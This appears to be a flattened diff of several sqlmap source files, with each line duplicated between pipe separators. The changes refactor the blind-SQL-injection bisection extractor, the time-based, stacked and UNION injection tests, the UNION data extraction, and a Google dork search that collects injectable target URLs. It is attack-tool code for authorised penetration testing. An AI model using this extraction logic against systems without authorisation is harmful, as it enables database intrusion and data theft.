||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
self.createSupportTbl(self.cmdTblName, self.tblField, "varchar(8000)")
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import threading
|
import threading
|
||||||
import time
|
import time
|
||||||
import traceback
|
import traceback
|
||||||
@@ -43,9 +41,7 @@ from lib.core.exception import unhandledException
|
|||||||
from lib.core.progress import ProgressBar
|
from lib.core.progress import ProgressBar
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None):
|
||||||
|
|
||||||
def bisection(payload, expression, length=None, charsetType=None):
|
|
||||||
"""
|
"""
|
||||||
Bisection algorithm that can be used to perform blind SQL injection
|
Bisection algorithm that can be used to perform blind SQL injection
|
||||||
on an affected host
|
on an affected host
|
||||||
@@ -56,6 +52,24 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
|
|
||||||
asciiTbl = getCharset(charsetType)
|
asciiTbl = getCharset(charsetType)
|
||||||
|
|
||||||
|
if "LENGTH(" in expression or "LEN(" in expression:
|
||||||
|
firstChar = 0
|
||||||
|
elif conf.firstChar is not None and ( isinstance(conf.firstChar, int) or ( isinstance(conf.firstChar, str) and conf.firstChar.isdigit() ) ):
|
||||||
|
firstChar = int(conf.firstChar) - 1
|
||||||
|
elif firstChar is None:
|
||||||
|
firstChar = 0
|
||||||
|
elif ( isinstance(firstChar, str) and firstChar.isdigit() ) or isinstance(firstChar, int):
|
||||||
|
firstChar = int(firstChar) - 1
|
||||||
|
|
||||||
|
if "LENGTH(" in expression or "LEN(" in expression:
|
||||||
|
lastChar = 0
|
||||||
|
elif conf.lastChar is not None and ( isinstance(conf.lastChar, int) or ( isinstance(conf.lastChar, str) and conf.lastChar.isdigit() ) ):
|
||||||
|
lastChar = int(conf.lastChar)
|
||||||
|
elif lastChar in ( None, "0" ):
|
||||||
|
lastChar = 0
|
||||||
|
elif ( isinstance(lastChar, str) and lastChar.isdigit() ) or isinstance(lastChar, int):
|
||||||
|
lastChar = int(lastChar)
|
||||||
|
|
||||||
if kb.dbmsDetected:
|
if kb.dbmsDetected:
|
||||||
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
|
||||||
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
|
||||||
@@ -73,15 +87,18 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
if length == 0:
|
if length == 0:
|
||||||
return 0, ""
|
return 0, ""
|
||||||
|
|
||||||
showEta = conf.eta and length
|
if lastChar > 0 and length > ( lastChar - firstChar ):
|
||||||
|
length = ( lastChar - firstChar )
|
||||||
|
|
||||||
|
showEta = conf.eta and isinstance(length, int)
|
||||||
numThreads = min(conf.threads, length)
|
numThreads = min(conf.threads, length)
|
||||||
threads = []
|
threads = []
|
||||||
|
|
||||||
if showEta:
|
if showEta:
|
||||||
progress = ProgressBar(maxValue=length)
|
progress = ProgressBar(maxValue=length)
|
||||||
progressTime = []
|
progressTime = []
|
||||||
|
|
||||||
if conf.verbose in ( 1, 2 ) and not showEta:
|
if conf.verbose >= 1 and not showEta:
|
||||||
if isinstance(length, int) and conf.threads > 1:
|
if isinstance(length, int) and conf.threads > 1:
|
||||||
infoMsg = "starting %d threads" % numThreads
|
infoMsg = "starting %d threads" % numThreads
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -92,8 +109,6 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
|
||||||
|
|
||||||
queriesCount = [0] # As list to deal with nested scoping rules
|
queriesCount = [0] # As list to deal with nested scoping rules
|
||||||
|
|
||||||
|
|
||||||
def getChar(idx, asciiTbl=asciiTbl):
|
def getChar(idx, asciiTbl=asciiTbl):
|
||||||
maxValue = asciiTbl[len(asciiTbl)-1]
|
maxValue = asciiTbl[len(asciiTbl)-1]
|
||||||
minValue = 0
|
minValue = 0
|
||||||
@@ -105,7 +120,7 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
forgedPayload = payload % (expressionUnescaped, idx, posValue)
|
forgedPayload = payload % (expressionUnescaped, idx, posValue)
|
||||||
result = Request.queryPage(forgedPayload)
|
result = Request.queryPage(forgedPayload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
minValue = posValue
|
minValue = posValue
|
||||||
asciiTbl = asciiTbl[position:]
|
asciiTbl = asciiTbl[position:]
|
||||||
else:
|
else:
|
||||||
@@ -117,8 +132,6 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
return None
|
return None
|
||||||
else:
|
else:
|
||||||
return chr(minValue + 1)
|
return chr(minValue + 1)
|
||||||
|
|
||||||
|
|
||||||
def etaProgressUpdate(charTime, index):
|
def etaProgressUpdate(charTime, index):
|
||||||
if len(progressTime) <= ( (length * 3) / 100 ):
|
if len(progressTime) <= ( (length * 3) / 100 ):
|
||||||
eta = 0
|
eta = 0
|
||||||
@@ -130,48 +143,40 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
progressTime.append(charTime)
|
progressTime.append(charTime)
|
||||||
progress.update(index)
|
progress.update(index)
|
||||||
progress.draw(eta)
|
progress.draw(eta)
|
||||||
|
|
||||||
|
|
||||||
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
||||||
value = [None] * length
|
value = [ None ] * length
|
||||||
index = [0] # As list for python nested function scoping
|
index = [ firstChar ] # As list for python nested function scoping
|
||||||
idxlock = threading.Lock()
|
idxlock = threading.Lock()
|
||||||
iolock = threading.Lock()
|
iolock = threading.Lock()
|
||||||
|
|
||||||
|
|
||||||
def downloadThread():
|
def downloadThread():
|
||||||
while True:
|
try:
|
||||||
idxlock.acquire()
|
while True:
|
||||||
|
idxlock.acquire()
|
||||||
|
|
||||||
if index[0] >= length:
|
if index[0] >= length:
|
||||||
|
idxlock.release()
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
index[0] += 1
|
||||||
|
curidx = index[0]
|
||||||
idxlock.release()
|
idxlock.release()
|
||||||
|
|
||||||
return
|
charStart = time.time()
|
||||||
|
val = getChar(curidx)
|
||||||
|
|
||||||
index[0] += 1
|
if val is None:
|
||||||
curidx = index[0]
|
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
||||||
idxlock.release()
|
|
||||||
|
|
||||||
charStart = time.time()
|
value[curidx-1] = val
|
||||||
val = getChar(curidx)
|
|
||||||
|
|
||||||
if val == None:
|
if showEta:
|
||||||
raise sqlmapValueException, "failed to get character at index %d (expected %d total)" % (curidx, length)
|
etaProgressUpdate(time.time() - charStart, index[0])
|
||||||
|
elif conf.verbose >= 1:
|
||||||
value[curidx-1] = val
|
s = "".join([c or "_" for c in value])
|
||||||
|
iolock.acquire()
|
||||||
if showEta:
|
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
||||||
etaProgressUpdate(time.time() - charStart, index[0])
|
iolock.release()
|
||||||
elif conf.verbose in ( 1, 2 ):
|
|
||||||
s = "".join([c or "_" for c in value])
|
|
||||||
iolock.acquire()
|
|
||||||
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
|
|
||||||
iolock.release()
|
|
||||||
|
|
||||||
|
|
||||||
def downloadThreadProxy(numThread):
|
|
||||||
try:
|
|
||||||
downloadThread()
|
|
||||||
|
|
||||||
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
except (sqlmapConnectionException, sqlmapValueException), errMsg:
|
||||||
conf.threadException = True
|
conf.threadException = True
|
||||||
@@ -195,11 +200,9 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
errMsg = unhandledException()
|
errMsg = unhandledException()
|
||||||
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
logger.error("thread %d: %s" % (numThread + 1, errMsg))
|
||||||
traceback.print_exc()
|
traceback.print_exc()
|
||||||
|
|
||||||
|
|
||||||
# Start the threads
|
# Start the threads
|
||||||
for numThread in range(numThreads):
|
for numThread in range(numThreads):
|
||||||
thread = threading.Thread(target=downloadThreadProxy(numThread))
|
thread = threading.Thread(target=downloadThread)
|
||||||
thread.start()
|
thread.start()
|
||||||
threads.append(thread)
|
threads.append(thread)
|
||||||
|
|
||||||
@@ -211,7 +214,7 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
# can mean that the connection to the target url was lost
|
# can mean that the connection to the target url was lost
|
||||||
if None in value:
|
if None in value:
|
||||||
for v in value:
|
for v in value:
|
||||||
if isinstance(v, str) and v != None:
|
if isinstance(v, str) and v is not None:
|
||||||
partialValue += v
|
partialValue += v
|
||||||
|
|
||||||
if partialValue:
|
if partialValue:
|
||||||
@@ -224,18 +227,18 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
if isinstance(finalValue, str) and len(finalValue) > 0:
|
if isinstance(finalValue, str) and len(finalValue) > 0:
|
||||||
dataToSessionFile(replaceNewlineTabs(finalValue))
|
dataToSessionFile(replaceNewlineTabs(finalValue))
|
||||||
|
|
||||||
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg:
|
if conf.verbose >= 1 and not showEta and infoMsg:
|
||||||
dataToStdout(infoMsg)
|
dataToStdout(infoMsg)
|
||||||
|
|
||||||
else:
|
else:
|
||||||
index = 0
|
index = firstChar
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
index += 1
|
index += 1
|
||||||
charStart = time.time()
|
charStart = time.time()
|
||||||
val = getChar(index, asciiTbl)
|
val = getChar(index, asciiTbl)
|
||||||
|
|
||||||
if val == None:
|
if val is None or ( lastChar > 0 and index > lastChar ):
|
||||||
break
|
break
|
||||||
|
|
||||||
finalValue += val
|
finalValue += val
|
||||||
@@ -244,10 +247,10 @@ def bisection(payload, expression, length=None, charsetType=None):
|
|||||||
|
|
||||||
if showEta:
|
if showEta:
|
||||||
etaProgressUpdate(time.time() - charStart, index)
|
etaProgressUpdate(time.time() - charStart, index)
|
||||||
elif conf.verbose in ( 1, 2 ):
|
elif conf.verbose >= 1:
|
||||||
dataToStdout(val)
|
dataToStdout(val)
|
||||||
|
|
||||||
if conf.verbose in ( 1, 2 ) or showEta:
|
if conf.verbose >= 1 or showEta:
|
||||||
dataToStdout("\n")
|
dataToStdout("\n")
|
||||||
|
|
||||||
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
@@ -33,8 +31,6 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def timeTest():
|
def timeTest():
|
||||||
infoMsg = "testing time based blind sql injection on parameter "
|
infoMsg = "testing time based blind sql injection on parameter "
|
||||||
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
||||||
@@ -82,8 +78,6 @@ def timeTest():
|
|||||||
kb.timeTest = False
|
kb.timeTest = False
|
||||||
|
|
||||||
return kb.timeTest
|
return kb.timeTest
|
||||||
|
|
||||||
|
|
||||||
def timeUse(query):
|
def timeUse(query):
|
||||||
start = time.time()
|
start = time.time()
|
||||||
_, _ = inject.goStacked(query)
|
_, _ = inject.goStacked(query)
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
@@ -35,7 +33,6 @@ from lib.core.unescaper import unescaper
|
|||||||
from lib.parse.html import htmlParser
|
from lib.parse.html import htmlParser
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def __unionPosition(negative=False, falseCond=False):
|
def __unionPosition(negative=False, falseCond=False):
|
||||||
if negative or falseCond:
|
if negative or falseCond:
|
||||||
negLogMsg = "partial (single entry)"
|
negLogMsg = "partial (single entry)"
|
||||||
@@ -93,7 +90,6 @@ def __unionPosition(negative=False, falseCond=False):
|
|||||||
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
|
||||||
def __unionConfirm():
|
def __unionConfirm():
|
||||||
# Confirm the inband SQL injection and get the exact column
|
# Confirm the inband SQL injection and get the exact column
|
||||||
# position
|
# position
|
||||||
@@ -121,7 +117,6 @@ def __unionConfirm():
|
|||||||
else:
|
else:
|
||||||
conf.paramFalseCond = True
|
conf.paramFalseCond = True
|
||||||
|
|
||||||
|
|
||||||
def __forgeUserFriendlyValue(payload):
|
def __forgeUserFriendlyValue(payload):
|
||||||
value = ""
|
value = ""
|
||||||
|
|
||||||
@@ -139,7 +134,6 @@ def __forgeUserFriendlyValue(payload):
|
|||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def __unionTestByNULLBruteforce(comment):
|
def __unionTestByNULLBruteforce(comment):
|
||||||
"""
|
"""
|
||||||
This method tests if the target url is affected by an inband
|
This method tests if the target url is affected by an inband
|
||||||
@@ -173,10 +167,10 @@ def __unionTestByNULLBruteforce(comment):
|
|||||||
|
|
||||||
return value, columns
|
return value, columns
|
||||||
|
|
||||||
|
|
||||||
def __unionTestByOrderBy(comment):
|
def __unionTestByOrderBy(comment):
|
||||||
columns = None
|
columns = None
|
||||||
value = None
|
value = None
|
||||||
|
prevPayload = ""
|
||||||
|
|
||||||
for count in range(1, 51):
|
for count in range(1, 51):
|
||||||
query = agent.prefixQuery(" ORDER BY %d" % count)
|
query = agent.prefixQuery(" ORDER BY %d" % count)
|
||||||
@@ -196,7 +190,6 @@ def __unionTestByOrderBy(comment):
|
|||||||
|
|
||||||
return value, columns
|
return value, columns
|
||||||
|
|
||||||
|
|
||||||
def unionTest():
|
def unionTest():
|
||||||
"""
|
"""
|
||||||
This method tests if the target url is affected by an inband
|
This method tests if the target url is affected by an inband
|
||||||
|
|||||||
@@ -22,30 +22,23 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import parseUnionPage
|
from lib.core.common import parseUnionPage
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.data import temp
|
from lib.core.data import temp
|
||||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
|
||||||
from lib.core.session import setUnion
|
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
from lib.utils.resume import resume
|
from lib.utils.resume import resume
|
||||||
|
|
||||||
|
|
||||||
reqCount = 0
|
reqCount = 0
|
||||||
|
|
||||||
|
|
||||||
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
|
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
|
||||||
"""
|
"""
|
||||||
This function tests for an inband SQL injection on the target
|
This function tests for an inband SQL injection on the target
|
||||||
@@ -63,7 +56,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
|||||||
|
|
||||||
global reqCount
|
global reqCount
|
||||||
|
|
||||||
if resetCounter == True:
|
if resetCounter:
|
||||||
reqCount = 0
|
reqCount = 0
|
||||||
|
|
||||||
if not kb.unionCount:
|
if not kb.unionCount:
|
||||||
@@ -77,7 +70,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
|||||||
expression = agent.concatQuery(expression, unpack)
|
expression = agent.concatQuery(expression, unpack)
|
||||||
expression = unescaper.unescape(expression)
|
expression = unescaper.unescape(expression)
|
||||||
|
|
||||||
if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False:
|
if ( conf.paramNegative or conf.paramFalseCond ) and not direct:
|
||||||
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||||
|
|
||||||
if len(expressionFieldsList) > 1:
|
if len(expressionFieldsList) > 1:
|
||||||
@@ -144,7 +137,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
|||||||
else:
|
else:
|
||||||
test = True
|
test = True
|
||||||
|
|
||||||
if test == True:
|
if test:
|
||||||
# Count the number of SQL query entries output
|
# Count the number of SQL query entries output
|
||||||
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
|
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
|
||||||
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
||||||
@@ -202,7 +195,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
|||||||
field = expressionFieldsList[0]
|
field = expressionFieldsList[0]
|
||||||
|
|
||||||
elif kb.dbms == "Oracle":
|
elif kb.dbms == "Oracle":
|
||||||
field = expressionFieldsList
|
field = expressionFieldsList
|
||||||
|
|
||||||
else:
|
else:
|
||||||
field = None
|
field = None
|
||||||
@@ -222,6 +215,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
|||||||
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
|
query = agent.forgeInbandQuery(expression, nullChar=nullChar)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
|
|
||||||
|
# NOTE: for debug purposes only
|
||||||
|
#debugMsg = "query: %s" % payload
|
||||||
debugMsg = "query: %s" % query
|
debugMsg = "query: %s" % query
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
from lib.core.common import getDelayQuery
|
from lib.core.common import getDelayQuery
|
||||||
@@ -33,9 +31,8 @@ from lib.core.data import logger
|
|||||||
from lib.core.session import setStacked
|
from lib.core.session import setStacked
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
|
|
||||||
|
|
||||||
def stackedTest():
|
def stackedTest():
|
||||||
if kb.stackedTest != None:
|
if kb.stackedTest is not None:
|
||||||
return kb.stackedTest
|
return kb.stackedTest
|
||||||
|
|
||||||
infoMsg = "testing stacked queries support on parameter "
|
infoMsg = "testing stacked queries support on parameter "
|
||||||
@@ -53,7 +50,6 @@ def stackedTest():
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
kb.stackedTest = payload
|
kb.stackedTest = payload
|
||||||
|
|
||||||
else:
|
else:
|
||||||
warnMsg = "the web application does not support stacked queries "
|
warnMsg = "the web application does not support stacked queries "
|
||||||
warnMsg += "on parameter '%s'" % kb.injParameter
|
warnMsg += "on parameter '%s'" % kb.injParameter
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import cookielib
|
import cookielib
|
||||||
import re
|
import re
|
||||||
import urllib2
|
import urllib2
|
||||||
@@ -31,9 +29,9 @@ import urllib2
|
|||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapConnectionException
|
from lib.core.exception import sqlmapConnectionException
|
||||||
from lib.core.exception import sqlmapRegExprException
|
from lib.request.basic import decodePage
|
||||||
|
|
||||||
|
|
||||||
class Google:
|
class Google:
|
||||||
"""
|
"""
|
||||||
@@ -48,7 +46,6 @@ class Google:
|
|||||||
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
|
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
|
||||||
self.opener.addheaders = conf.httpHeaders
|
self.opener.addheaders = conf.httpHeaders
|
||||||
|
|
||||||
|
|
||||||
def __parsePage(self, page):
|
def __parsePage(self, page):
|
||||||
"""
|
"""
|
||||||
Parse Google dork search results page to get the list of
|
Parse Google dork search results page to get the list of
|
||||||
@@ -62,7 +59,6 @@ class Google:
|
|||||||
|
|
||||||
return matches
|
return matches
|
||||||
|
|
||||||
|
|
||||||
def getTargetUrls(self):
|
def getTargetUrls(self):
|
||||||
"""
|
"""
|
||||||
This method returns the list of hosts with parameters out of
|
This method returns the list of hosts with parameters out of
|
||||||
@@ -73,7 +69,6 @@ class Google:
|
|||||||
if re.search("(.*?)\?(.+)", match, re.I):
|
if re.search("(.*?)\?(.+)", match, re.I):
|
||||||
kb.targetUrls.add(( match, None, None, None ))
|
kb.targetUrls.add(( match, None, None, None ))
|
||||||
|
|
||||||
|
|
||||||
def getCookie(self):
|
def getCookie(self):
|
||||||
"""
|
"""
|
||||||
This method is the first to be called when initializing a
|
This method is the first to be called when initializing a
|
||||||
@@ -84,30 +79,54 @@ class Google:
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
conn = self.opener.open("http://www.google.com/ncr")
|
conn = self.opener.open("http://www.google.com/ncr")
|
||||||
headers = conn.info()
|
_ = conn.info()
|
||||||
except urllib2.HTTPError, e:
|
except urllib2.HTTPError, e:
|
||||||
headers = e.info()
|
_ = e.info()
|
||||||
except urllib2.URLError, e:
|
except urllib2.URLError, e:
|
||||||
errMsg = "unable to connect to Google"
|
errMsg = "unable to connect to Google"
|
||||||
raise sqlmapConnectionException, errMsg
|
raise sqlmapConnectionException, errMsg
|
||||||
|
|
||||||
|
|
||||||
def search(self, googleDork):
|
def search(self, googleDork):
|
||||||
"""
|
"""
|
||||||
This method performs the effective search on Google providing
|
This method performs the effective search on Google providing
|
||||||
the google dork and the Google session cookie
|
the google dork and the Google session cookie
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
gpage = conf.googlePage if conf.googlePage > 1 else 1
|
||||||
|
|
||||||
if not googleDork:
|
if not googleDork:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
url = "http://www.google.com/search?"
|
url = "http://www.google.com/search?"
|
||||||
url += "q=%s&" % urlencode(googleDork)
|
url += "q=%s&" % urlencode(googleDork)
|
||||||
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
|
url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
|
||||||
|
url += "&start=%d" % ((gpage-1) * 100)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
conn = self.opener.open(url)
|
conn = self.opener.open(url)
|
||||||
page = conn.read()
|
|
||||||
|
requestMsg = "HTTP request:\nGET %s HTTP/1.1" % url
|
||||||
|
#requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in conn.headers.items()])
|
||||||
|
#requestMsg += "\n%s" % requestHeaders
|
||||||
|
requestMsg += "\n"
|
||||||
|
logger.log(9, requestMsg)
|
||||||
|
|
||||||
|
page = conn.read()
|
||||||
|
code = conn.code
|
||||||
|
status = conn.msg
|
||||||
|
responseHeaders = conn.info()
|
||||||
|
|
||||||
|
encoding = responseHeaders.get("Content-Encoding")
|
||||||
|
page = decodePage(page, encoding)
|
||||||
|
|
||||||
|
responseMsg = "HTTP response (%s - %d):\n" % (status, code)
|
||||||
|
|
||||||
|
if conf.verbose <= 4:
|
||||||
|
responseMsg += str(responseHeaders)
|
||||||
|
elif conf.verbose > 4:
|
||||||
|
responseMsg += "%s\n%s\n" % (responseHeaders, page)
|
||||||
|
|
||||||
|
logger.log(8, responseMsg)
|
||||||
except urllib2.HTTPError, e:
|
except urllib2.HTTPError, e:
|
||||||
page = e.read()
|
page = e.read()
|
||||||
except urllib2.URLError, e:
|
except urllib2.URLError, e:
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
@@ -34,7 +32,6 @@ from lib.core.exception import sqlmapNoneDataException
|
|||||||
from lib.core.session import setParenthesis
|
from lib.core.session import setParenthesis
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
|
|
||||||
|
|
||||||
def checkForParenthesis():
|
def checkForParenthesis():
|
||||||
"""
|
"""
|
||||||
This method checks if the SQL injection affected parameter
|
This method checks if the SQL injection affected parameter
|
||||||
@@ -46,7 +43,7 @@ def checkForParenthesis():
|
|||||||
|
|
||||||
count = 0
|
count = 0
|
||||||
|
|
||||||
if kb.parenthesis != None:
|
if kb.parenthesis is not None:
|
||||||
return
|
return
|
||||||
|
|
||||||
if conf.prefix or conf.postfix:
|
if conf.prefix or conf.postfix:
|
||||||
@@ -76,7 +73,7 @@ def checkForParenthesis():
|
|||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
count = parenthesis
|
count = parenthesis
|
||||||
|
|
||||||
logMsg = "the injectable parameter requires %d parenthesis" % count
|
logMsg = "the injectable parameter requires %d parenthesis" % count
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import dataToSessionFile
|
from lib.core.common import dataToSessionFile
|
||||||
@@ -34,7 +32,6 @@ from lib.core.data import queries
|
|||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.techniques.blind.inference import bisection
|
from lib.techniques.blind.inference import bisection
|
||||||
|
|
||||||
|
|
||||||
def queryOutputLength(expression, payload):
|
def queryOutputLength(expression, payload):
|
||||||
"""
|
"""
|
||||||
Returns the query output length.
|
Returns the query output length.
|
||||||
@@ -45,14 +42,17 @@ def queryOutputLength(expression, payload):
|
|||||||
select = re.search("\ASELECT\s+", expression, re.I)
|
select = re.search("\ASELECT\s+", expression, re.I)
|
||||||
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
||||||
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
|
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
|
||||||
